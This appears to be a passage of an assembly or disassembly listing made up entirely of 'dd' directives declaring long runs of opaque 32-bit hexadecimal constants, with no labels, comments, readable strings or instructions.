dd 5BCD013Eh, 8709B059h, 8CF72C5Ah, 4BF4E917h, 1C7101F8h
dd 0D22DCC00h, 4A466853h, 3A33A650h, 550D96FDh, 2AE9FCF0h
dd 0C296A6B2h, 7668563Ah, 4053A485h, 0D6E18BD9h, 20F6E9ACh
dd 94A46A96h, 2570923Ch, 0DA2A2B29h, 3124C61h, 6D372B1Dh
dd 55E7BAE9h, 0B63DFF45h, 22E2D4Ch, 5ED9410Bh, 0C6A85C31h
dd 0F251AFA8h, 0A09FE942h, 66F328ADh, 7E8BBD5Ah, 0E6BD1650h
dd 0C0681B65h, 19A23505h, 7C894D80h, 0A0F60740h, 25DED753h
dd 4856325Fh, 58D207D2h, 0F11A1152h, 8BFF0F31h, 27375635h
dd 73283645h, 133EA52Dh, 0EE59C150h, 0FDE9727Eh, 555BE84Ch
dd 0EC96FEB2h, 58680BD5h, 504B9810h, 0C5D9F353h, 83B66220h
dd 97B9C883h, 365F7F54h, 6FB47B8Ah, 67685A82h, 90B3460Bh
dd 4EB9F4DEh, 31B33009h, 6A0B3E76h, 254B0DE9h, 0DDC052BEh
dd 0A32DD868h, 0E281C894h, 0EE4317B0h, 4E5F0128h, 68A2C887h
dd 38BA006Fh, 0E90D57E5h, 6F7E911Dh, 32E0266Bh, 102FC280h
dd 558C5830h, 5661D21Ah, 9C483230h, 66A6BFF8h, 57C3406Ch
dd 31E0F5C2h, 2708D848h, 76BAC8B0h, 7A8F2F6Fh, 4C16847Ah
dd 6FA8636Ch, 77F9A0Fh, 97FD8720h, 0B0E7D0F7h, 0A3D31C0Ch
dd 1841714h, 487EE1EFh, 0B1B15723h, 29B084E5h, 0A7456771h
dd 20E872CFh, 16EE5904h, 10F3AD24h, 48778E44h, 0CB5E5A23h
dd 940A1001h, 3BFABF07h, 6104BB51h, 7345C006h, 60B7CB69h
dd 9119743h, 0CDE960B7h, 5251D460h, 48AAB225h, 804DEB43h
dd 0E495F986h, 0D03509C3h, 0E57CF501h, 0E635A726h, 0D1D945FBh
dd 44B4B7F8h, 5F5AE97Eh, 72ED4B90h, 2C402F41h, 9B400642h
dd 732E1731h, 0E21C9E56h, 4F72D603h, 0EAD48DE9h, 9E1A3780h
dd 0F31548E0h, 3A92F124h, 0B12555Eh, 33478F16h, 81C959A5h
dd 0A8222A2Fh, 0B7845729h, 0C4CBA25Dh, 0C0149F1Fh, 92D9232Eh
dd 6DC0141h, 8220491Bh, 0B5C6380Ch, 500657C9h, 0A8412C52h
dd 5286E630h, 288783B1h, 0F5E467C8h, 0BA5FE00Bh, 0F535640Bh
dd 77D47056h, 264C1340h, 49780495h, 94DDAAB9h, 683C8DEDh
dd 2A38B4Eh, 0E9477BC5h, 0BB28C109h, 0C428343Fh, 7DF3547Eh
dd 0DF7DA109h, 0E3C1CA01h, 8A148307h, 46A0C72h, 0CAE90312h
dd 0D78CAF4Ch, 3455923Bh, 0A3488D02h, 5452C42Fh, 30E94D9Ch
dd 0C132F63Eh, 51D03E8h, 73933D96h, 832A8BE1h, 67A82DD5h
dd 9D9EC8EDh, 8991E525h, 5183B70Fh, 0CD02AB1Bh, 0F86EA5C1h
dd 0E1D28E78h, 3C790B8Ch, 0F12E937Ah, 0DFAAAFE1h, 3492C9F8h
dd 0F730D50Dh, 0CBB031D1h, 85F9F14Ah, 4DB608B8h, 2D3AD39h
dd 3A68FF4h, 0E693FC88h, 137314CAh, 0E8642597h, 0AE4A04BBh
dd 0C1251BFBh, 0C1013068h, 0CCCE71EEh, 0C026500Bh, 0C9043A22h
dd 0D480D01Ch, 339C5CDh, 0EDD1134Fh, 448DDF7h, 1CF5023Fh
dd 5D31768Ch, 5AE9C282h, 0CD254954h, 98540868h, 2B312E3Eh
dd 0DCBA5280h, 33D1B08h, 0B3F2814Ah, 0BA947509h, 59C32987h
dd 0C8CAE010h, 12CF3164h, 0DA7CFF24h, 96755642h, 0EB831214h
dd 0F5372402h, 55A42E16h, 15895BAh, 0FF9AA783h, 0EB7EB044h
dd 688EEC83h, 0E468FC4Ah, 0FE1138F2h, 37A45B50h, 8D334A41h
dd 798E7318h, 5711D766h, 0A01B292Ch, 5B6885CFh, 316B9D7Dh
dd 13BF4F3h, 508B1348h, 0F009F328h, 0B0D75h, 0F666A49Ah
dd 8862B7B8h, 82C274D4h, 49F520D9h, 89710195h, 0E9C13ABCh
dd 0C96B288Eh, 52B0413Bh, 41DC6F8Bh, 436984D3h, 39279E1Fh
dd 0E958E831h, 6F72B827h, 0E2085916h, 9F4B89A0h, 27492C94h
dd 10F64CA6h, 8003A212h, 0D5F6C4EDh, 0B8F37220h, 8C933348h
dd 51EAAD0Eh, 70B27969h, 0F1509083h, 8D41480Dh, 39E65C57h
dd 878BCB7h, 722DBD7Ch, 2BC112E7h, 0F99104A5h, 0F0050043h
dd 9A1D767Eh, 1A350519h, 0D153BE02h, 7AA6C58h, 58957689h
dd 0C5BF314Fh, 0AE0D098Dh, 1AA889AAh, 9A4008D3h, 8B09E205h
dd 42EAE99Ah, 0C9657CBh, 0ABD6012Ch, 0CE2C3E87h, 0EF834F21h
dd 37B961F2h, 97584474h, 0B4E1E21Bh, 6BA329Fh, 529A4A77h
dd 400A020Ch, 0A4E916B7h, 0EB818EFCh, 51C15F77h, 0A072F268h
dd 6695E908h, 0D08D264Ah, 0CF646838h, 8A38D731h, 0E9C76996h
dd 652F7B8Eh, 64A651CEh, 0D361EE5Ch, 0BD001738h, 7B1272D4h
dd 660E4519h, 300B8076h, 542D72Dh, 0E9485726h, 0F88A9440h
dd 0D03AB969h, 0A06E29DFh, 79E83661h, 0BDAD62Ch, 7F003A09h
dd 71212940h, 97522097h, 80029835h, 333E3005h, 9EE5383Bh
dd 2437CB2Ah, 0E0586912h, 12B4F517h, 0B608C47h, 70F45DB1h
dd 5082CE26h, 0DE105768h, 493160C8h, 0E9190D70h, 14CFD891h
dd 0BE9537Bh, 6579A972h, 3A09CE04h, 8BFADFA1h, 209A5A07h
dd 0BA309AFFh, 6568FF3Ch, 1EC69F75h, 5FC4F94Ah, 9DF8C52Dh
dd 0C2A4BCC8h, 32774C99h, 0FED838C3h, 0E998BD22h, 62814729h
dd 58CBD528h, 0BBD5F068h, 321BFD82h, 2854A8DAh, 14B9EA97h
dd 0B45EBA48h, 0C1955F20h, 0AB0487EFh, 4F8CA517h, 0D4ACD72Ch
dd 646C1EAh, 0E88D6F17h, 344A8F32h, 99BD82F1h, 7F5E156Ah
dd 0F8F589CFh, 0C58095C5h, 0F0300805h, 0BFD8B8h, 79EBE57h
dd 1472F95h, 0A6258765h, 0D6955B70h, 56B0D244h, 2BF50BFFh
dd 595281h, 0C8C264F3h, 5BDD01FBh, 4608E917h, 0E842608Ch
dd 4D7F7DCDh, 9E4C76EEh, 101C6C00h, 58E40533h, 0E911460Bh
dd 0B998601Ah, 0CC430588h
dd 0F2CF095Bh, 82F7C014h, 0B748102Dh, 16E94860h, 911668F5h
dd 10954CFBh, 0C651E5ABh, 2DA5CB30h, 0E8604038h, 241E5B25h
dd 354E4962h, 4142C54Dh, 0C8E612A1h, 4B13686Dh, 8FCB3002h
dd 4B5C8347h, 5DBF44B9h, 14CC4FA4h, 13581B87h, 0D9307268h
dd 0C3612ACAh, 4E275AD6h, 0E92F951Bh, 30289CD8h, 2A46D58h
dd 22174438h, 0E6045721h, 6AAF952h, 94349BEBh, 0DFE3040Ch
dd 0C4624F6Ch, 0E2F482D1h, 59E82801h, 0EC47752Ah, 72BB13FAh
dd 4ABB8665h, 445659AFh, 0F4AC1329h, 7A1DC8F4h, 0D0A4D05Fh
dd 5B39179Dh, 817E5D5Eh, 0EAC109DFh, 0ED1E8203h, 0E0461047h
dd 5E4A1493h, 0E7700211h, 7D5EEEB4h, 44425F13h, 0D927CCE9h
dd 0B3530935h, 61B68255h, 0E92CE0C0h, 70224F6Eh, 568528Dh
dd 815D2F4Dh, 17EC5B88h, 0E915056Bh, 5A3AD0Fh, 0AF368C3h
dd 0CB678662h, 11D4E91Ch, 56F1DA6Bh, 2DB05BD1h, 0CA3B130Fh
dd 0C4910803h, 21FC5F16h, 0DE616625h, 148F3455h, 3FFE1C12h
dd 74056B8h, 8F2F2AE9h, 70C20FA6h, 5E6B1379h, 5F362185h
dd 4C3E869h, 45D93DC6h, 90D4815Ah, 11A52DAEh, 0F605BE18h
dd 81DB144Dh, 4BD7D6Dh, 695A9FA8h, 968F3F14h, 0C40EE913h
dd 8F488129h, 0A3BF00F7h, 3CE2013Dh, 0B2E7814Fh, 0D260D24Bh
dd 0E89697AAh, 61EA80E2h, 0F141D3F3h, 776AA390h, 0C9BAB22Dh
dd 43943DFEh, 6BE60090h, 0DD3133F4h, 0CA4AE9h, 5018B880h
dd 439F5F9Ah, 0C37A2FBh, 4B03EF88h, 290EAACDh, 30F2EFFDh
dd 5E22D709h, 0F459DAB5h, 4125D26h, 9D6AC3CDh, 60A573FEh
dd 4666E11Eh, 9A59B3Eh, 0F145D121h, 0BE9C105h, 0C45B79F8h
dd 0F6F02053h, 0D13B655Bh, 0AFCE056Dh, 20ACA86Fh, 8D04023Eh
dd 958CE936h, 0C2131D4Dh, 62D705C2h, 0BD2AE584h, 0F99C51E2h
dd 803025F1h, 2F07EA2Ah, 68297FDEh, 2F08B0C2h, 0BE561198h
dd 474BA90Bh, 1255586Dh, 0B417D7E9h, 651EDE7Bh, 6BD21004h
dd 2AE7684h, 43DD687Bh, 52034646h, 7A6BB951h, 0CAA39FE4h
dd 6F95C059h, 0C91F5A28h, 0BD7C50DBh, 6A24FD50h, 2C956429h
dd 0E0E90B0Ah, 627D540Fh, 0B8009142h, 4B3BCDDAh, 7341BC75h
dd 7557CAB7h, 0BF2DC4A3h, 306413C1h, 7A005D3h, 0D84F11E9h
dd 0F55A06A2h, 34BEF137h, 0FA723179h, 354ED779h, 0B3A34717h
dd 0CE8C1C0h, 3ECBC831h, 0D7331295h, 14B7BEA8h, 9300B858h
dd 0E92E4944h, 0E6BF228Dh, 412CB009h, 0EE1220B9h, 98C10180h
dd 6DC809F7h, 79007FB4h, 336C6B03h, 0C482FAEDh, 45E31CCFh
dd 889E9F2h, 0A14DFBD6h, 0D71FD8F4h, 12A2B8ABh, 3DFFBA19h
dd 840CB2FBh, 0C6010E9Bh, 7DF02858h, 0D0448B8Dh, 0F25E4B6Eh
dd 0CCF6D258h, 99D80417h, 0DD9A6BC7h, 0C092A45Eh, 83CEB35Bh
dd 0F83E6816h, 732D5BF5h, 0E989026Ah, 7C448C8Eh, 1E84C607h
dd 9C47794h, 0F60F73BCh, 0AFAC80D6h, 9E90E806h, 38C0CF54h
dd 21F6845Ah, 0BEEE8100h, 14E8D49h, 854DE68h, 0AFE85B13h
dd 94E6FCA4h, 93B44A46h, 47315AE9h, 82B9F2D8h, 6BCAB67Fh
dd 923C13DEh, 31EBE5FAh, 3CE83CC8h, 0C236D18Eh, 73885E9h
dd 0EBD0194Eh, 2A19BA81h, 6FE43375h, 878360C8h, 223E54EBh
dd 0CB010613h, 3808B710h, 0F856DE03h, 0ED74BC2Dh, 0C79C44CAh
dd 0FBB86309h, 0F127001Ch, 0BF4A6A1Dh, 3A081FA8h, 0D1BFA099h
dd 0D0490731h, 0E3088B53h, 0CB0628D9h, 6D681706h, 0E9522723h
dd 0FB7BED0h, 2F27C4F1h, 0C1E824FFh, 7B1B373h, 6C76ACE2h
dd 86B20A49h, 1AB6D188h, 6FF24A7h, 0B455550Ah, 0C9640062h
dd 0E9019603h, 3842E895h, 6655C5CAh, 54BF326Bh, 0C14B5944h
dd 0D5315907h, 9508EA26h, 624F409Bh, 24E9F12Ch, 976D4237h
dd 0B53121CBh, 0BECC2B07h, 0B4CC5EDFh, 0C04BD85Eh, 9F215C88h
dd 34559642h, 54CA98A0h, 4A2919ADh, 1582CEBh, 9B98C35Fh
dd 292640EDh, 212DF80Fh, 86426F6Ch, 2D61323Fh, 0D5F904EBh
dd 0E72DE941h, 50EEC87Fh, 203BE2B4h, 0AC89BD98h, 5213BAFCh
dd 0E9B00BF9h, 0CC92890Dh, 73826C2Dh, 9BA5BD47h, 0D5F71960h
dd 81024571h, 785F98CDh, 0E0F36205h, 2C70BEBAh, 14933415h
dd 2184B8F4h, 0C424B83Eh, 0B4332F90h, 0DFCEE9C0h, 4992B1B4h
dd 0CABA87C0h, 6820962h, 0E700D2F7h, 9BA89F0Eh, 1261895Dh
dd 9C95E52Eh, 40539DE0h, 612E5846h, 38184B9Dh, 2D13064Dh
dd 1D437E87h, 0FDAC50EBh, 0AD8B9E21h, 64D4FC3Fh, 6142EA4Ch
dd 5C2CA668h, 68A49DEh, 0F3EA80CAh, 31DBDD8Ah, 2ED7D048h
dd 5D50BCF4h, 68DB9753h, 161FF16Bh, 0B4B9F90Ch, 4CB65FFh
dd 1C8E4953h, 0F2785827h, 851FD592h, 38D954B1h, 0E8B4D366h
dd 880A4006h, 35F9D377h, 37F32BAFh, 0AF19C896h, 0EDCC8D5Bh
dd 0BA1AD23Ch, 2FCD710h, 9AE9142Ah, 0B186C8C2h, 0B6520186h
dd 5AF130B4h, 0BB537F28h, 0A89908h, 88D1C380h, 0F6735BDCh
dd 5ECC01Eh, 0C785E4CFh, 0C46397F4h, 62E18277h, 5A91C90Ah
dd 0FCD5897h, 0BD843FCBh, 0C4FE07FCh, 3E72ECA3h, 9C937C36h
dd 24E8ED0Eh, 5801990h, 3E57294Bh, 2DD82801h, 16E2BF07h
dd 3A275556h, 8B5628h, 41D47AA2h, 274B1EE9h, 0DDA2DE9h
dd 2A12E2E9h, 42C7D900h, 4E360430h, 0E7371DC5h, 0E90FD779h
dd 0B3289859h, 0B050017Bh, 2CD8F6B9h, 9921AEh, 0E9C228BFh
dd 9A0F1727h, 0AFA054CEh, 56131B45h, 0C3A189A2h, 0FA8C4840h
dd 28803F40h, 0A0D302F1h, 5A1468B3h, 71A33Ah, 85F780EDh
dd 27E9FA88h, 3AA08486h, 11BF37F2h, 12000590h, 89EE40C8h
dd 2CE95EF7h, 0F0518BE7h, 0F59AEBE9h, 7C526815h, 0A9D85F39h
dd 31770244h, 7DB66851h, 0B7BE8479h, 0C3841A7Bh, 4976B4F4h
dd 553B15B6h, 0A54AF3A4h, 0F12D1256h, 3BE84979h, 47943F07h
dd 15E84FE4h, 0E28FC112h, 0FAC486F1h, 0F6E10917h, 8CF60D5Eh
dd 0D8BE3B07h, 0E6BCE971h, 5D00100h, 5A20C8B7h, 44ABC987h
dd 5F4E8958h, 497D2DE6h, 593BCC75h, 73FBB612h, 0FDD954E5h
dd 499D5135h, 89107D51h, 63360050h, 0F8322D5Eh, 255B02D8h
dd 1F210198h, 47B9D587h, 0F009008Eh, 5512055Eh, 21FFD24Ch
dd 6BBAE966h, 9BA88553h, 0F2800280h, 0EB262C5Ah, 333B8428h
dd 0BBF8E3FCh, 8135048Dh, 0C43D5BEDh, 8CBC173Ah, 63F0492Dh
dd 0AA18D1D3h, 2F03EDFAh, 7C01F74Dh, 425D651Bh, 0ED56C390h
dd 729F8339h, 0DA482B27h, 9C0CD667h, 0ACD997CAh, 7C46B203h
dd 0B7BB0337h, 8190B850h, 2A317ECBh, 11515A4Fh, 685E307Eh
dd 3DC936CFh, 5B7E220Ah, 991E4380h, 0D0C1D1EAh, 418C2960h
dd 3B1730AEh, 9F98745Ch, 687EC24Bh, 2E6FEA13h, 1AD47044h
dd 8D7019B6h, 0D0C188BDh, 0C0A60F02h, 0D2CDE38Ah, 8E22F571h
dd 0FC4157CDh, 8EE6EC7Bh, 5E4BC1B4h, 938579B6h, 88094763h
dd 0B6AFA12h, 4B365FE8h, 0CC96B25Ah, 0B7FB010h, 6FC48D4h
dd 0D82712A0h, 0FA4C015Dh, 0BCEE1086h, 0D6A2AD2Dh, 14DEAE3Fh
dd 0A0A4FEAh, 0A34D159Fh, 5632220h, 5A7DE516h, 0F04AC04Ah
dd 5018C902h, 1F52E2C1h, 98E882FAh, 3917460Dh, 83655945h
dd 0B3BA399h, 0F370C93Ch, 1FAD6817h, 0FAA43A65h, 0C5144AE9h
dd 0D3ABB8A1h, 2224BBFCh, 0C68087ADh, 4AF633B5h, 0EE82F382h
dd 2903D205h, 0F9B227F2h, 5E09D6F6h, 9D68F289h, 0FA201B7Ah
dd 0BD5502F6h, 2A945A32h, 241204F8h, 82002258h, 0CB30B874h
dd 5DEA3F31h, 734ACA83h, 0E2F819D5h, 0C80666BCh, 872FE901h
dd 7B1BF4Ch, 106A275Eh
dd 0B20A98DFh, 28DAC0D9h, 0B1D4FD4h, 0E8F2F6C9h, 0A27D7E20h
dd 41348D90h, 13E84A71h, 0DD5A505Bh, 0EE29D26Ah, 0F6098C74h
dd 9B7A4401h, 4F743F74h, 8A6CA6D4h, 0B4A4AF14h, 4D786858h
dd 0C0D95444h, 0BB5FD20Eh, 27E5DFDCh, 1E91A0C8h, 0CA628C2Eh
dd 93BAE557h, 3589915Eh, 0E6BA008Fh, 69D12432h, 0DE21A68h
dd 5B2C605Ch, 0DFC253C5h, 167E5C1h, 0A1810CBFh, 868A81A5h
dd 0E95B9756h, 273E7DC5h, 9077842Bh, 655E68A0h, 0F15B9B9Dh
dd 0ED892597h, 0DC30D5h, 0DF131462h, 58D2C99Eh, 0A2625AE3h
dd 0F409C452h, 0B0D769F6h, 0BAC74250h, 0F69B041Eh, 0C7EBC0DBh
dd 0F5C937D0h, 0B01A964Eh, 1F127C44h, 0D36E6517h, 8C2CBB58h
dd 54A04037h, 0E6F7594Eh, 3CD1E9C2h, 2781CB24h, 0C100F9D7h
dd 0F70008E0h, 34DA0DD0h, 16053652h, 0E8A59D75h, 710F2205h
dd 17BEA424h, 0E84010CBh, 0F3A710F1h, 0E30E5E31h, 53AC00E7h
dd 4C4770B7h, 0FC4AF9F8h, 62F2A5E7h, 0F17A2C87h, 694CE997h
dd 1DA84A04h, 9C6B4305h, 65A41E7Fh, 58256BC6h, 0D979C811h
dd 8804827Bh, 465FAFEBh, 59DFA109h, 0BEEAE460h, 6BE9E090h
dd 0C7B397DDh, 824E2DDAh, 6B6C519Fh, 6EC053DCh, 6A014A3Fh
dd 8F8CC8EFh, 64729A68h, 1A64E920h, 0F1EB9D4Eh, 0EDC06BF3h
dd 48925C68h, 83F2E927h, 0E0555B6Fh, 7CE64B9Bh, 0BA04A23h
dd 118B299Fh, 0ED091878h, 8249640Ah, 0DA7B4BA4h, 665802B3h
dd 5B562DDCh, 909FC5F8h, 0BE5AD322h, 8533089Ah, 70094326h
dd 0A12148C2h, 6C1A0113h, 2068D2F7h, 0A1CC3F7Bh, 4CC41A5h
dd 0C9B5B9B1h, 8DBC5456h, 0AFF7BFFCh, 0BFBAF170h, 0BBC1F625h
dd 47CA3A54h, 72645826h, 92A4C7Ch, 1E1D4CC1h, 903E4781h
dd 0D04036E3h, 4C297E1Ah, 34926410h, 0F0ADB9B2h, 0E09521DEh
dd 97075E05h, 30F171E6h, 16B7E8DCh, 0CE889D31h, 692C6048h
dd 474F028h, 1F20665Bh, 0B65202h, 0FEDEF6D1h, 0A8EE80C6h
dd 8C17E92Ch, 4CF26880h, 905A6073h, 2E950E4Dh, 2DF560Eh
dd 2DC16E9Bh, 0F270B662h, 0E304AC07h, 0E245782Ch, 5C704CE0h
dd 53D640EFh, 4AB8A4E1h, 0BCAD7A4Fh, 8104B993h, 0FE9B9EBh
dd 41AD5D24h, 0C5D03B06h, 5F3AE8C3h, 0A1D5C5B5h, 0F9F84196h
dd 0C98005DAh, 0F436AE37h, 0C52BC82h, 552E215Dh, 40403BB4h
dd 64570Dh, 95352BFBh, 0E9336C56h, 0AABD0B2Ch, 9405449h
dd 5951478Dh, 9478A380h, 0D662E93Fh, 9A6B82Dh, 54412C11h
dd 85FA690Ch, 72D4C738h, 4131F22Dh, 8028AC7Ch, 0ACEA654Bh
dd 3006051Ch, 6FBD087Ah, 0EC5F2585h, 4CF9C05Ch, 952153B5h
dd 0D02F437Bh, 65CA0120h, 0DEE9F444h, 0B0E22BA0h, 0E5A9CF8Fh
dd 0F2E58843h, 47047B04h, 128D63Ah, 1F5584EBh, 6CD0BC08h
dd 207BB859h, 36C0B8D1h, 616D5E51h, 1C86A049h, 722C0174h
dd 0D15FF909h, 3D2481E1h, 2973B3B7h, 2DF5FD35h, 13938838h
dd 7EE0E898h, 50C49896h, 0B25AA3B8h, 0A402C8E2h, 297A2F08h
dd 0E916DE9Ah, 2D54793Ah, 1ECC584Bh, 1B57629Bh, 0EA02F3E8h
dd 20A44E63h, 789419D0h, 7503D924h, 4029539h, 51092B0Ch
dd 4162E905h, 140CA008h, 8068580Bh, 7A35FE24h, 66C523F4h
dd 109FCDF8h, 0C1211778h, 1A764D21h, 0E9CB362h, 54080C3h
dd 4D946866h, 325EE970h, 28D312D1h, 0DE23581h, 83392348h
dd 6873EF0Ch, 91FE0036h, 0E9027AEEh, 76D6F543h, 0B5AD7AE0h
dd 3290B266h, 95E76A20h, 0E1604ED0h, 0D7C981A5h, 599F0A37h
dd 2CF5D9F7h, 48CB0EC4h, 0C02ED289h, 1588324Bh, 0B4CE011Ah
dd 304B8960h, 0F512BBF9h, 13AB4F99h, 924CA2ECh, 108C92FCh
dd 0C8B72197h, 30E957FFh, 0EF59D6CCh, 22C0753h, 0B8834ED4h
dd 9C39E6F2h, 41B60086h, 15F320D1h, 71A78BBDh, 0B05FBE20h
dd 40820369h, 3D1DB0F0h, 55AF66E1h, 77F491C8h, 0EB5E149Fh
dd 1F01E513h, 68D831ADh, 0B7C702Bh, 4223B8CBh, 0A9EA840Fh
dd 84282585h, 0B745BB50h, 1AC00BEFh, 48FE01E1h, 0C340E95Fh
dd 92E64183h, 8E405C0Ch, 0C280DA28h, 4EA5B0B4h, 0BAF588F8h
dd 121655F8h, 1EA8290Ah, 0E1895A27h, 50EDA05Dh, 16D06853h
dd 159951h, 0BD5BDDCh, 0E92403F7h, 73AC0A1Eh, 0B7A36E25h
dd 5BE93EB0h, 6818DD92h, 0FD152838h, 6783B48Ah, 3CF4F252h
dd 41C9DF5Ch, 0F7715994h, 92244547h, 43CA8BE4h, 0AE372A2Eh
dd 93EBD03Bh, 79D3B04Dh, 95F7F9FBh, 0B25B9176h, 10EF90C2h
dd 0CF411832h, 7A4D5740h, 0C13C03F1h, 0F78702E7h, 9E7CDE92h
dd 42106C3Ah, 7D5B0999h, 8E065264h, 0C5BD79CEh, 24D3258Bh
dd 68BA0209h, 3D5D6848h, 2CAF07AEh, 0FCBF08C0h, 703C4E17h
dd 0CF02E4F8h, 71E11B9h, 0AB170040h, 764FB424h, 67F36A30h
dd 798E481Ah, 68DFD11h, 6F64C4E3h, 867C2FDAh, 0BB045464h
dd 0EAA3B77h, 0C48B4BC0h, 0FDF14B55h, 0B49190C1h, 2CE909D8h
dd 60497709h, 0B5C3B252h, 0D54A30E8h, 9A343CD8h, 0CA30A050h
dd 3B3118D9h, 25894E62h, 0C1100A07h, 0F1F006E1h, 129C7536h
dd 8ACA317Ch, 6564D2Bh, 1DC743FCh, 4EE4094Eh, 58802695h
dd 79761BABh, 665ACEBAh, 576F7689h, 64E5144Ch, 6B407A00h
dd 0C3E5816Ah, 13674412h, 169874F8h, 0B03B749Dh, 0C2F5023Eh
dd 0E3760F1Dh, 2F79C828h, 0AE91750h, 3B01B9C1h, 0B174092Dh
dd 0BEB1D562h, 0CC75DE68h, 12DB4A78h, 49890D49h, 4FE9D06h
dd 390180A8h, 0E963F6FBh, 627D9646h, 810B1D24h, 47C0BB53h
dd 0A9C16A80h, 0F7DC02CBh, 0E745B029h, 8825E02Fh, 469D7BF3h
dd 0C0F95460h, 48EEF317h, 0F73116BBh, 9A0810DBh, 0C43AC171h
dd 0C2889131h, 89CF2F1Ah, 15F2F101h, 3A0174CCh, 0C041F009h
dd 95DF2C99h, 0A19242AFh, 0B74FFC6Fh, 0A30EDB91h, 0D3548E42h
dd 0B2F0E156h, 5ABC4012h, 2964259Eh, 38C4E681h, 2D3BA73Fh
dd 4022C246h, 12DAD3C4h, 0BC290389h, 56BC4A38h, 6BE0D3B1h
dd 0FE2F7B04h, 6BE15C8Dh, 8A3E3235h, 57560045h, 50406C68h
dd 984CB802h, 71E92522h, 0F0B25049h, 4E5C4BF5h, 40B044D1h
dd 0E8C14800h, 5C3C3504h, 32687FB5h, 803415CFh, 0F1997543h
dd 6FB03E56h, 0EE883959h, 0AFF61FFDh, 0BEE94428h, 812AA5F3h
dd 7CF8B9A6h, 0B63A11D9h, 17083CA4h, 9707EE26h, 1304658Bh
dd 0AAE384h, 1EF47F92h, 0EAFEF587h, 0B8A5755Eh, 0E25A5360h
dd 186F48D8h, 4D1B010h, 2C1835Fh, 997A01C9h, 474ED7Ah
dd 625D44BAh, 732FE29h, 959E6431h, 7E522BE9h, 0E29B1E8Ah
dd 0C2F72C5Ah, 4A54682Dh, 50A956A5h, 0F4E54C5h, 7EDDDE0h
dd 606D7EDAh, 7205CB01h, 304BB436h, 3ABE761Eh, 7AE0E8D2h
dd 0EC072FEh, 0CD0F6C8h, 0B097527Fh, 0F71CBE50h, 0F12FCC02h
dd 0EB443041h, 34124726h, 0C18540E9h, 26F1CE9Dh, 0B600846Ch
dd 0BBB753EEh, 801CD7F6h, 0FE1493F7h, 0DC1B25E7h, 1E5D5284h
dd 67F39750h, 7182EE01h, 24820F86h, 5C5A2752h, 1C41FCC3h
dd 141CA008h, 0FED45F4Eh, 22FAEE7h, 0D5E91351h, 90201394h
dd 0CF350773h, 0A2AFCE6Bh, 0BDF4C093h, 0D53EEF79h, 8B93B2B7h
dd 35C805C3h, 0EE1684E6h, 255AE33Eh, 2067A1Ch, 0C83110E8h
dd 647F5396h, 39BB1E58h, 0B827522Fh, 2CB94A91h, 0A474F8E4h
dd 4ACDD50Ch, 2CB90968h, 3A007A8Eh, 7118AFE5h, 282D6D48h
dd 407CF7DCh, 3023CD06h, 91874A7h, 22EED660h, 33C66F0Bh
dd 2007AEC9h, 0E0D02DF8h, 0BDB24F42h, 30F405C4h, 7BFC3DBCh
dd 4EE90740h, 0BAAF85ECh
dd 0CFC2364h, 0A7DCE218h, 582F1D8Fh, 9E73C532h, 7E768BB9h
dd 2C90880h, 52608C62h, 21354C66h, 0BE1F86Ch, 41FB5BCFh
dd 0DA3B417Eh, 622D9C20h, 3462CE4h, 9D02A71Bh, 10478A6h
dd 0A75E50BDh, 0D0E98438h, 0EB6D12EAh, 58C76C61h, 3095E63Bh
dd 0A9BD0B30h, 0C51C4C64h, 1DAA2810h, 8840EC80h, 0B35358E5h
dd 0DFB2384Ch, 20E9DA0Bh, 6B2D9B41h, 0A26842D0h, 1557C43Ch
dd 2000ED90h, 3F1AB772h, 0B80398D2h, 60902DE8h, 3E4BDE9h
dd 0CBA30FEDh, 0D76FD9D5h, 0D2BEF8F2h, 46AB7D08h, 0AD76E522h
dd 15FAEF29h, 71FB973Fh, 0D2386F99h, 0A0FBAB24h, 16034FBEh
dd 0F0B3984Ah, 0FF06C483h, 0EB0399BAh, 27636F56h, 0DD0E044Bh
dd 0BE06052Dh, 62783680h, 0DBEC4C91h, 0EFB8904Fh, 0A5044B88h
dd 5F595758h, 538788BFh, 0C19A5B97h, 6322F7E9h, 3BC54CF3h
dd 276840C2h, 0C6FC4B67h, 747A7FE2h, 0B85F886Ah, 0C8082226h
dd 972C02F9h, 59457A04h, 2847B585h, 0E913BBADh, 66CA41AAh
dd 0E435CDBFh, 0CABFB69Fh, 31B2B05Fh, 9642FEC2h, 0F168041Dh
dd 0EC8FEF72h, 0E984B149h, 5DD7B03Ah, 50CE96B7h, 6219CE52h
dd 1AD4F17Eh, 0DC973F59h, 0C160B4h, 12B9C06Ah, 59304A21h
dd 9489D490h, 8960D95Dh, 5FA0145h, 35F7F276h, 0CA0C6A62h
dd 10B4C5D2h, 0F70EB852h, 2948955Eh, 0B8818D1Ch, 0D0EB212Eh
dd 0F90CDC81h, 370B8424h, 0DC3C8B2Dh, 9E9D914h, 0B69207D4h
dd 481C828Ch, 0A2D8220Eh, 6EE8894Eh, 0FD5DEA16h, 84612F64h
dd 0DABF5838h, 2F1E11DAh, 0B55E81Eh, 6AC8932Dh, 6A168CC5h
dd 0D3445304h, 98AF8303h, 0C84A93EBh, 14D5A41h, 8AEC2E22h
dd 7F8880B3h, 2FF2385Fh, 920C3C4h, 0C11C7659h, 29D03046h
dd 0A4E90B44h, 0FA403B0Ah, 8800F114h, 5C038472h, 0CB4AE2D1h
dd 0C8F8E43Eh, 0A921179Fh, 368C5F4Dh, 285829E9h, 0E1F60914h
dd 0FEA0AFF7h, 0B9E1055h, 185DB768h, 0E4CE887Ah, 9A1B9F7h
dd 2327D44Dh, 0F8F072D1h, 0C95F8907h, 7C49E2DCh, 0F2DA722Ah
dd 290D3E91h, 0D92A1B03h, 0A10E7E8Eh, 4B561E65h, 0E53093ECh
dd 13E1E918h, 8B154897h, 63C5BF08h, 0B9578AA0h, 2E5717DDh
dd 2B1C15D2h, 0D5206D2Fh, 5E2FB34Bh, 2D87E916h, 521E01F2h
dd 0ED0B8956h, 7FC62191h, 72E75D16h, 82B14C64h, 6355D0DFh
dd 0E331A594h, 237644C2h, 53AA6419h, 5756448h, 93C55307h
dd 6A4C89A5h, 48E29AABh, 1405BA57h, 0C72A1968h, 298908BCh
dd 6722D5F7h, 0EF9B1713h, 73CE77C3h, 0E2B60095h, 48AC559Fh
dd 57055E3Ah, 82CF78A9h, 536604A6h, 1A250090h, 7D6DCEA0h
dd 0CBDB9758h, 0CA025612h, 0C0197BC9h, 0CBCDF2E9h, 0BA5C890Dh
dd 5DBF05C5h, 54FA6D4Ah, 0E9162B98h, 0F8BCCBA0h, 8F20DCCBh
dd 0ED15F2B9h, 5E993658h, 0E05E63D5h, 0F4CA2057h, 607C9840h
